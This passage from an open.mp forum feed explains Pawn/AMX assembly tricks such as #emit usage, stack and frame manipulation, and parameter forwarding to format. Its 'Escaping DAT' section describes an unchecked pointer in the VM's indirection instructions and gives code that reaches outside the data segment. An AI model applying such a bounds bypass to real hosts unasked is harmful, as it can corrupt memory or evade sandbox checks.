<li><span style="font-family: courier new;" class="mycode_font">__args_offset</span> - The offset of the number of arguments passed to the current function (in bytes) in the current frame.<br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">__param0_offset</span> - The offset of the first parameter passed to the function, for example <span style="font-family: courier new;" class="mycode_font">playerid</span> in <span style="font-family: courier new;" class="mycode_font">GetPlayerName(playerid, name, size);</span>.<br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">__minus1</span> - Just the number <span style="font-family: courier new;" class="mycode_font">-1</span>, since <span style="font-family: courier new;" class="mycode_font">-</span> is broken in <span style="font-family: courier new;" class="mycode_font">#emit</span>.<br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">__cip</span> - The control register for the current instruction pointer (<span style="font-style: italic;" class="mycode_i">cip</span>).<br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">__2_cells</span> - The size in bytes of two cells.? Useful when adjusting other values to make it clear that it is just two cells generally, not an offset such as <span style="font-family: courier new;" class="mycode_font">__args_offset</span>.<br />
<br />
</li>
</ul>
<br />
<br />
<br />
So for example to load the number of parameters passed to the current function use:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>#emit LOAD.S.pri __args_offset <span style="color: Green;" class="mycode_color">// In bytes.</span><br />
<br />
#emit SHR.C.pri <span style="color: Orange;" class="mycode_color">2</span> <span style="color: Green;" class="mycode_color">// In cells.</span></blockquote><br />
<br />
<br />
Or using another YSI define:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>#emit LOAD.S.pri __args_offset <span style="color: Green;" class="mycode_color">// In bytes.</span><br />
<br />
#emit SHR.C.pri __COMPILER_CELL_SHIFT <span style="color: Green;" class="mycode_color">// In cells.</span></blockquote><br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Current stack address.</span></span></span></span></span></div>
<br />
<br />
<br />
This code will get the current address of the stack pointer (<span style="font-family: courier new;" class="mycode_font">stk</span>):<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LCTRL __stk</span></blockquote><br />
<br />
<br />
But it will get the value in to the <span style="font-family: courier new;" class="mycode_font">pri</span> register while sometimes you want it in the <span style="font-family: courier new;" class="mycode_font">alt</span> register instead.? You could load it and move it:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LCTRL __stk</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit MOVE.alt</span></blockquote><br />
<br />
<br />
But that takes two instructions and clobbers <span style="font-family: courier new;" class="mycode_font">pri</span>.? You could swap the registers about to preserve <span style="font-family: courier new;" class="mycode_font">pri</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit MOVE.alt</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LCTRL __stk</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit XCHG</span></blockquote><br />
<br />
<br />
But that takes even more instructions.? Or you could just load the value straight in to <span style="font-family: courier new;" class="mycode_font">alt</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit STACK 0</span></blockquote><br />
<br />
<br />
This adjusts the stack size by naught cells.? It doesn?t get any bigger or smaller.? At first that seems pointless, but pawn-impl.pdf says this about <span style="font-family: courier new;" class="mycode_font">STACK</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Quote:</cite><span style="font-family: courier new;" class="mycode_font">ALT = STK</span>, <span style="font-family: courier new;" class="mycode_font">STK = STK  value</span></blockquote>
<br />
<br />
<br />
So the instruction first saves the current value of <span style="font-family: courier new;" class="mycode_font">stk</span> in <span style="font-family: courier new;" class="mycode_font">alt</span>, <span style="font-style: italic;" class="mycode_i">then</span> adjusts the size.? We only want the first part so we NOP the second part by making the size adjustment naught, yet still get the register being saved.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Masking with shifts.</span></span></span></span></span></div>
<br />
<br />
<br />
There is no <span style="font-family: courier new;" class="mycode_font">AND.C</span> so to do:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>a = b &amp; <span style="color: Orange;" class="mycode_color"><span style="color: Orange;" class="mycode_color">0</span>xFFFF<span style="color: Orange;" class="mycode_color">0000</span></span>;</blockquote><br />
<br />
<br />
In assembly is:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LOAD.S.pri b</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit CONST.alt? 0xFFFF0000</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit AND</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri a</span></blockquote><br />
<br />
<br />
That?s usually fine, but what if there is some data we want to keep in <span style="font-family: courier new;" class="mycode_font">alt</span>?? It could be saved to the stack:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LOAD.S.pri b</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.alt</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit CONST.alt? 0xFFFF0000</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit AND</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.alt</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri a</span></blockquote><br />
<br />
<br />
But that takes many extra instructions.? But this code is the same as:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>a = (b &gt;&gt;&gt; <span style="color: Orange;" class="mycode_color">16</span>) &lt;&lt; <span style="color: Orange;" class="mycode_color">16</span>;</blockquote><br />
<br />
<br />
<span style="font-family: courier new;" class="mycode_font">&gt;&gt;&gt;</span> and <span style="font-family: courier new;" class="mycode_font">&lt;&lt;</span> lose data, and there are <span style="font-family: courier new;" class="mycode_font">SHR.C</span> and <span style="font-family: courier new;" class="mycode_font">SHL.C</span> instructions:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LOAD.S.pri b</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SHR.C.pri? 16</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SHR.L.pri? 16</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri a</span></blockquote><br />
<br />
<br />
This is one cell longer than the first method, but two instructions shorter than the second and doesn?t clobber <span style="font-family: courier new;" class="mycode_font">alt</span>.? However, it doesn?t work for masks like <span style="font-family: courier new;" class="mycode_font">0x00FF0000</span> without yet another shift, at which point it probably isn?t worth the effort compared to <span style="font-family: courier new;" class="mycode_font">AND</span>, nor at all for any mask with naughts in like <span style="font-family: courier new;" class="mycode_font">0xF0F0F0F0</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LOAD.S.pri b</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SHR.L.pri? 8</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SHR.C.pri? 24</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SHR.L.pri? 16</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri a</span></blockquote><br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Escaping DAT</span></span></span></span></span></div>
<br />
<br />
<br />
The data segment is called <span style="font-family: courier new;" class="mycode_font">dat</span>, and is distinct from the code segment <span style="font-family: courier new;" class="mycode_font">cod</span>.? The former is where all data is stored, including the stack and heap, the latter is where all the code is stored.? But to write self-modifying code of the sort found in <span style="font-family: courier new;" class="mycode_font">@emit</span> we must write to <span style="font-family: courier new;" class="mycode_font">cod</span> instead of <span style="font-family: courier new;" class="mycode_font">dat</span>, so how is that done?? The instruction <span style="font-family: courier new;" class="mycode_font">STOR.pri</span> writes the value of the register <span style="font-family: courier new;" class="mycode_font">pri</span> to the given variable, but the VM checks that these variables are valid, i.e. that they are in some active part of global memory the stack.? But there is an oversight in the indirection instructions - <span style="font-family: courier new;" class="mycode_font">SREF.pri</span>, <span style="font-family: courier new;" class="mycode_font">LREF.S.alt</span>, etc.? These take a variable and check that this variable is within the memory segment, then use the value in that variable as a pointer to the location to write to.? However, crucially this second access is NOT checked for validity, so we can write anywhere.? The code section comes immediately before the data section so we can write there using negative addresses.? The offset of <span style="font-family: courier new;" class="mycode_font">dat</span> is found in <span style="font-family: courier new;" class="mycode_font">LCTRL 1</span>, the offset of <span style="font-family: courier new;" class="mycode_font">cod</span> is in <span style="font-family: courier new;" class="mycode_font">LCTRL 0</span>, so the two together give the relative offset of <span style="font-family: courier new;" class="mycode_font">cod</span> from <span style="font-family: courier new;" class="mycode_font">dat</span>.? For example to read the parameter of <span style="font-family: courier new;" class="mycode_font">HALT</span> at address <span style="font-family: courier new;" class="mycode_font">0</span> in <span style="font-family: courier new;" class="mycode_font">cod</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Blue;" class="mycode_color">new</span> ptr;<br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// ptr = cod - dat  4</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LCTRL __dat</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit MOVE.alt</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LCTRL __cod</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SUB</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit ADD.C __1_cell</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri ptr</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// ptr = *ptr;</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LREF.S.pri ptr</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri ptr</span><br />
<br />
<br />
<br />
printf(<span style="color: Red;" class="mycode_color">"Default HALT parameter: %d"</span>, ptr);</blockquote><br />
<br />
<br />
This trick is basically the core of amx_assembly, indirection, YSI, and more.? Without it there would be no code re-writing at all of the sort needed for advanced techniques like <span style="font-family: courier new;" class="mycode_font">hook</span> and <span style="font-family: courier new;" class="mycode_font">inline</span>.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">You can invert strings.</span></span></span></span></span></div>
<br />
<br />
<br />
For some reason this code compiles:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>Func(<span style="color: DeepSkyBlue;" class="mycode_color">const</span> str[])<br />
<br />
{<br />
<br />
}<br />
<br />
<br />
<br />
main()<br />
<br />
{<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">new</span> str[] = <span style="color: Red;" class="mycode_color">"Hello"</span>;<br />
<br />
? ? Func(~str);<br />
<br />
}</blockquote><br />
<br />
<br />
This is likely an oversight in the compiler because the inversion of a string is gibberish, the code will probably just crash.? But inverting an inversion gives the original value back so this is fine:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>Func(<span style="color: DeepSkyBlue;" class="mycode_color">const</span> str[])<br />
<br />
{<br />
<br />
}<br />
<br />
<br />
<br />
main()<br />
<br />
{<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">new</span> str[] = <span style="color: Red;" class="mycode_color">"Hello"</span>;<br />
<br />
? ? Func(~~str);<br />
<br />
}</blockquote><br />
<br />
<br />
It might seem pointless but in assembly you end up with:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>asm Wrote:</cite>ADDR.pri str<br />
<br />
INVERT<br />
<br />
INVERT<br />
<br />
PUSH.pri</blockquote><br />
<br />
<br />
Still pointless, except for the fact that it is a very interesting sequence of instructions that can be scanned for.? This <span style="font-family: courier new;" class="mycode_font">INVERT/INVERT</span> pair is the core of how y_inline actually locates inline functions and their names in memory (searching through the <span style="font-family: courier new;" class="mycode_font">dat</span> segment with <span style="font-family: courier new;" class="mycode_font">LREF</span> as detailed above).<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Labels reset the stack.</span></span></span></span></span></div>
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>Func()<br />
<br />
{<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">new</span> a = <span style="color: Orange;" class="mycode_color">4</span>;<br />
<br />
label:<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> a;<br />
<br />
}</blockquote><br />
<br />
<br />
Compiles as:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>asm Wrote:</cite>PROC<br />
<br />
PUSH.C 4<br />
<br />
LCRTL 5<br />
<br />
ADD.C -4<br />
<br />
SCTRL 4<br />
<br />
LOAD.S.pri -4<br />
<br />
STACK 4<br />
<br />
RETN</blockquote><br />
<br />
<br />
So we push something to the stack, then reset the stack.? This is exploited in the <span style="font-family: courier new;" class="mycode_font">decl</span> keyword which declares a large variable without initialising it:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>decl a[<span style="color: Orange;" class="mycode_color">128</span>];</blockquote><br />
<br />
<br />
Becomes:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>goto after_a;<br />
<br />
<span style="color: Blue;" class="mycode_color">new</span> a[<span style="color: Orange;" class="mycode_color">128</span>];<br />
<br />
after_a:</blockquote><br />
<br />
<br />
Which compiles as:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>asm Wrote:</cite>JUMP after_a<br />
<br />
STACK -512<br />
<br />
ZERO.pri<br />
<br />
FILL 512<br />
<br />
after_a:<br />
<br />
LCTRL 5<br />
<br />
ADD.C -512<br />
<br />
SCTRL 5</blockquote><br />
<br />
<br />
Most importantly the <span style="font-family: courier new;" class="mycode_font">FILL</span> opcode is skipped, but because labels don?t modify scope <span style="font-family: courier new;" class="mycode_font">a</span> still exists.<br />
<br />
<br />
<br />
There is at least one bit of assembly in YSI where the <span style="font-family: courier new;" class="mycode_font">LCTRL</span>/<span style="font-family: courier new;" class="mycode_font">SCTRL</span> pair generated by a label are important to functionality (<span style="font-family: courier new;" class="mycode_font">Inline_NumArgs</span> to cancel out a <span style="font-family: courier new;" class="mycode_font">PUSH.pri</span> elsewhere in the function), but they?re extremely rare for one reason - you can only jump backwards in assembly, future labels can?t be used.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Starting a function just to end it.</span></span></span></span></span></div>
<br />
<br />
<br />
Consider the following function:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>sprintf(<span style="color: DeepSkyBlue;" class="mycode_color">const</span> fmat[], {Float, _}:...)<br />
<br />
{<br />
<br />
? ? <span style="color: DeepSkyBlue;" class="mycode_color">static</span> target[<span style="color: Orange;" class="mycode_color">144</span>];<br />
<br />
? ? format(target, sizeof (target), fmat, ???);<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> target;<br />
<br />
}</blockquote><br />
<br />
<br />
There are four main ways to implement this function and forward all the parameters - 1) a macro, 2) y_va, 3) copy all the parameters as in the very common bit of assembly everyone copies, 4) the clever way.? We already have most of the parameters for <span style="font-family: courier new;" class="mycode_font">format</span> on the stack, we just need to add two more.? To call a function the number of parameters in bytes is pushed, then the function is called with <span style="font-family: courier new;" class="mycode_font">CALL</span>, which adds the return address to the stack and jumps to the address specified.? The first thing in a function is then <span style="font-family: courier new;" class="mycode_font">PROC</span>, which saves the current frame pointer to the stack and sets up a new frame.? So at the moment that <span style="font-family: courier new;" class="mycode_font">format</span> is called in this function the stack looks like:<br />
<br />
<br />
<ul class="mycode_list"><li><span style="font-family: courier new;" class="mycode_font">???</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">???</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">???</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">fmat</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">arg_count</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">return_address</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">frame_pointer</span><br />
<br />
</li>
</ul>
<br />
<br />
<br />
<span style="font-family: courier new;" class="mycode_font">target</span> is declared <span style="font-family: courier new;" class="mycode_font">static</span> in this example to make the stack much simpler.? So really to call <span style="font-family: courier new;" class="mycode_font">format</span> we need:<br />
<br />
<br />
<ul class="mycode_list"><li><span style="font-family: courier new;" class="mycode_font">???</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">???</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">???</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">fmat</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">sizeof (target)</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">target</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">arg_count  8</span><br />
<br />
</li>
</ul>
<br />
<br />
<br />
Most of that data is already there if we can just modify the rest:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Green;" class="mycode_color">// Remove the frame pointer from the stack and use it.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.pri</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SCTRL 5</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Remove the return address from the stack.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.alt</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Remove the arg count from the stack.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.pri</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Push the two extra parameters.</span><br />
<br />
<span style="color: DeepSkyBlue;" class="mycode_color">const</span> size = sizeof (target) * cellbytes;<br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.C size</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.C target</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Update and push the parameter count.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit ADD.C __2_cells</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.pri</span></blockquote><br />
<br />
<br />
We have now modified the stack to look how we want, put the return address in <span style="font-family: courier new;" class="mycode_font">alt</span>, and set the frame pointer back to what it used to be.? So call <span style="font-family: courier new;" class="mycode_font">format</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit SYSREQ.C format</span></blockquote><br />
<br />
<br />
After <span style="font-family: courier new;" class="mycode_font">format</span> returns we need to restore the stack to how is was without clobbering <span style="font-family: courier new;" class="mycode_font">alt</span>, which still holds the return address we need, since <span style="font-family: courier new;" class="mycode_font">SYSREQ.C</span> doesn?t touch that register:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Green;" class="mycode_color">// Remove and reset the count again.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.pri</span><br />
<br />
#emit ADD.C __m<span style="color: Orange;" class="mycode_color">2</span>_cells <span style="color: Green;" class="mycode_color">// -8</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Remove the next cell without altering any registers (tricky).</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SWAP.alt</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.alt</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Put the count back on the stack.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SWAP.pri</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Put the return address back.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.alt</span></blockquote><br />
<br />
<br />
Now the part this entire section has been building to - we need to get the frame pointer back out and back on to the stack.? We used <span style="font-family: courier new;" class="mycode_font">SCTRL</span> to save it (we could have saved it to a global variable, but why waste one when the control register is right there, plus a global variable might not work if the native calls a callback), so the obvious code is:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LCTRL 5</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.pri</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LCTRL 4</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SCTRL 5</span></blockquote><br />
<br />
<br />
But there?s an instruction that does all of this in one go:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit PROC</span></blockquote><br />
<br />
<br />
So you may sometimes see <span style="font-family: courier new;" class="mycode_font">PROC</span> randomly in the middle of a function, and this is what it is doing.? In fact it isn?t unusual to see:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit PROC</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit RETN</span></blockquote><br />
<br />
<br />
Which is the name of the section - we call <span style="font-family: courier new;" class="mycode_font">PROC</span> just to set up the stack correctly for calling <span style="font-family: courier new;" class="mycode_font">RETN</span>.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">The stack doesn?t even need restoring.</span></span></span></span></span></div>
<br />
<br />
<br />
Normally after calling a native you need to remove all the parameters pushed for it, but you don?t after calling a normal function - <span style="font-family: courier new;" class="mycode_font">RETN</span> does that for you.? In the above example we needed to restore the stack to how it was before <span style="font-family: courier new;" class="mycode_font">format</span> was called, but sometimes you don?t need to because the native is the last thing done in the function.? In that case we can just exploit <span style="font-family: courier new;" class="mycode_font">RETN</span> to remove all the extra parameters we added too:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Green;" class="mycode_color">// As before.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.pri</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SCTRL 5</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.alt</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.pri</span><br />
<br />
<span style="color: DeepSkyBlue;" class="mycode_color">const</span> size = sizeof (target) * cellbytes;<br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.C size</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.C target</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit ADD.C __2_cells</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.pri</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SYSREQ.C format</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Leave the two extra parameters on the stack and just pretend they were passed to us.</span><br />
<br />
<span style="color: Green;" class="mycode_color">// Push the return address again.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.alt</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Put the frame pointer back and end the function.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PROC</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit RETN</span></blockquote>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[#emit, __emit, @emit]]></title>
			<link>https://forum.open.mp/showthread.php?tid=2320</link>
			<pubDate>Sun, 18 Sep 2022 13:12:27 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=6">Y_Less</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=2320</guid>
			<description><![CDATA[Between the latest versions of the compiler and the <a href="https://github.com/Zeex/amx_assembly/" target="_blank" rel="noopener" class="mycode_url">amx_assembly</a> library, there are now three versions of <span style="font-family: courier new;" class="mycode_font">emit</span> - <span style="font-family: courier new;" class="mycode_font">#emit</span>, <span style="font-family: courier new;" class="mycode_font">__emit</span>, and <span style="font-family: courier new;" class="mycode_font">@emit</span>.? They all have subtly different uses and quirks, and these differences are explained here.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color"><span style="font-family: courier new;" class="mycode_font">#emit</span></span></span></span></span></span></div>
<br />
<br />
<br />
This is the original version, and is used to insert assembly (p-code) in to a script directly, exactly at the point it is used.? For example:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>Function()<br />
<br />
{<br />
<br />
? ? <span style="color: Brown;" class="mycode_color">#emit ZERO.pri</span><br />
<br />
? ? <span style="color: Brown;" class="mycode_color">#emit RETN</span><br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> <span style="color: Orange;" class="mycode_color">1</span>;<br />
<br />
}</blockquote><br />
<br />
<br />
This function will be compiled with <span style="font-style: italic;" class="mycode_i">two</span> return instructions - one from <span style="font-family: courier new;" class="mycode_font">RETN</span> and one from <span style="font-family: courier new;" class="mycode_font">return</span>, and the second one will never be hit.? The generated assembly will look something like:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>asm Wrote:</cite>PROC<br />
<br />
ZERO.pri<br />
<br />
RETN<br />
<br />
CONST.pri 1<br />
<br />
RETN</blockquote><br />
<br />
<br />
This is the most inflexible version - it just puts exactly what you typed exactly where you typed it.<br />
<br />
<br />
<br />
It is also in a very strange part of the compiler, likely because it was only originally intended for basic debugging of the pawn VM (hence why it was removed in later official releases).? It uses barely any of the standard compiler features:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>#emit CONST.pri <span style="color: Orange;" class="mycode_color">5</span> <span style="color: Green;" class="mycode_color">// This works.</span><br />
<br />
#emit CONST.pri <span style="color: Orange;" class="mycode_color">-5</span> <span style="color: Green;" class="mycode_color">// This is a syntax error.</span></blockquote><br />
<br />
<br />
Thus you will often see negative numbers written in their full hex representation (for some reason hex does work despite the fact that negative numbers don?t):<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>#emit CONST.pri <span style="color: Orange;" class="mycode_color"><span style="color: Orange;" class="mycode_color">0</span>xFFFFFFFB</span> <span style="color: Green;" class="mycode_color">// -5</span></blockquote><br />
<br />
<br />
Defines don?t work to abstract that, but <span style="font-family: courier new;" class="mycode_font">const</span> does:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#define MINUS_5 0xFFFFFFFB</span><br />
<br />
#emit CONST.pri MINUS_<span style="color: Orange;" class="mycode_color">5</span> <span style="color: Green;" class="mycode_color">// Undefined symbol `MINUS_5`</span></blockquote><br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: DeepSkyBlue;" class="mycode_color">const</span> MINUS_<span style="color: Orange;" class="mycode_color">5</span> = <span style="color: Orange;" class="mycode_color">-5</span>;<br />
<br />
#emit CONST.pri MINUS_<span style="color: Orange;" class="mycode_color">5</span> <span style="color: Green;" class="mycode_color">// Fine.</span></blockquote><br />
<br />
<br />
And <span style="font-family: courier new;" class="mycode_font">#if</span> is completely ignored:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#if TEST</span><br />
<br />
? ? <span style="color: Brown;" class="mycode_color">#emit CONST.pri 5</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#else</span><br />
<br />
